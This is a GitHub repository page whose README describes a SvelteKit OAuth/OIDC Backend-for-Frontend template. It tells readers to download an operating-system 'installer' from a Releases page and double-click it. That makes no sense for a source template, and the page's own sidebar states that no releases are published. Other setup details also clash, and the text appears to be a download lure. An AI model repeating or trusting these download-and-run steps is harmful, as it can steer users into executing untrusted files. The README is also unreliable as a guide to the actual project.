Skip to content

πŸ” Build secure OAuth/OIDC authentication with this SvelteKit template, leveraging the Backend-for-Frontend (BFF) pattern for a smooth user experience.

License

Notifications You must be signed in to change notification settings

netanel1q-creator/auth-bff-oidc-template

Repository files navigation

πŸš€ auth-bff-oidc-template - Easy Authentication for Your Apps

Download

πŸ“‹ Overview

Auth-bff-oidc-template offers a production-ready template for building applications that require OAuth and OpenID Connect authentication. Designed with SvelteKit, this template follows the Backend-for-Frontend (BFF) pattern. It makes securing your applications easy while managing user sessions effectively.

πŸ› οΈ Features

  • SvelteKit Framework: Enjoy a modern web experience with Svelte framework.
  • OAuth/OIDC Support: Easily integrate with popular identity providers.
  • Secure Session Management: Handle sessions using http-only cookies for added security.
  • Rate Limiting: Protect your application from unnecessary requests.
  • PostgreSQL Database: Store user data securely in a reliable database.
  • Redis Support: Improve performance by using Redis for session storage.
  • TypeScript: Benefit from type safety for better code reliability.

🌐 System Requirements

To run this application, ensure your system meets the following requirements:

  • Operating System: Windows, macOS, or Linux.
  • Node.js: Version 14 or higher.
  • PostgreSQL: Version 13 or higher.
  • Redis: Version 5 or higher.

πŸš€ Getting Started

Ready to get started? Simply follow these steps:

  1. Visit the Release Page: Go to the Releases Page to find the latest version.
  2. Download the Software: Click the latest release and find the download link. Download the installer for your operating system.
  3. Install the Application: Follow the installation prompts provided by the installer.

πŸ“₯ Download & Install

You can download the latest release of auth-bff-oidc-template by visiting this link: Releases Page. Make sure to select the appropriate version for your needs.

Installation Steps

  1. Run the Installer: Double-click the file you downloaded to start the installation.
  2. Follow On-Screen Instructions: The installer will guide you through the setup process. Choose your preferences where applicable.
  3. Launch the Application: Once installed, launch the application to begin setup.

πŸ”§ Configuration

After installation, configure your app.

  1. Create Configuration File: In the application folder, create a configuration file named config.json.
  2. Fill in Your Settings: Enter the database connection strings, OAuth credentials, and any other necessary settings in this file.

Here’s an example configuration:

{
  "db": {
    "host": "localhost",
    "user": "your_user",
    "password": "your_password",
    "database": "your_database"
  },
  "oauth": {
    "client_id": "your_client_id",
    "client_secret": "your_client_secret",
    "redirect_uri": "http://localhost:3000/auth/callback"
  }
}

πŸ“– Usage

  1. Start the Application: Open your terminal or command prompt and navigate to your application directory. Run:

    npm start
    
  2. Access the Application: Open your web browser and go to http://localhost:3000 to view your application.

  3. Authenticate Users: Use the OAuth provider you configured to authenticate users.

πŸ” Troubleshooting

  • Common Issues: If you encounter issues, check the following:

    • Ensure that Node.js and PostgreSQL are running.
    • Verify that the configuration file is filled out correctly.
  • Logs: Check the application logs for any error messages. This can provide insight into what went wrong.

🀝 Contributing

Contributions to improve this template are welcome. Please follow these steps:

  1. Fork the repository.
  2. Create a new branch with your changes.
  3. Push your changes to your branch.
  4. Submit a pull request detailing your improvements.

πŸ“ License

This template is provided under the MIT License. Feel free to use it in your projects.

πŸ”— Links

By following these guidelines, you can effectively download, install, and run the auth-bff-oidc-template with ease.

About

πŸ” Build secure OAuth/OIDC authentication with this SvelteKit template, leveraging the Backend-for-Frontend (BFF) pattern for a smooth user experience.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •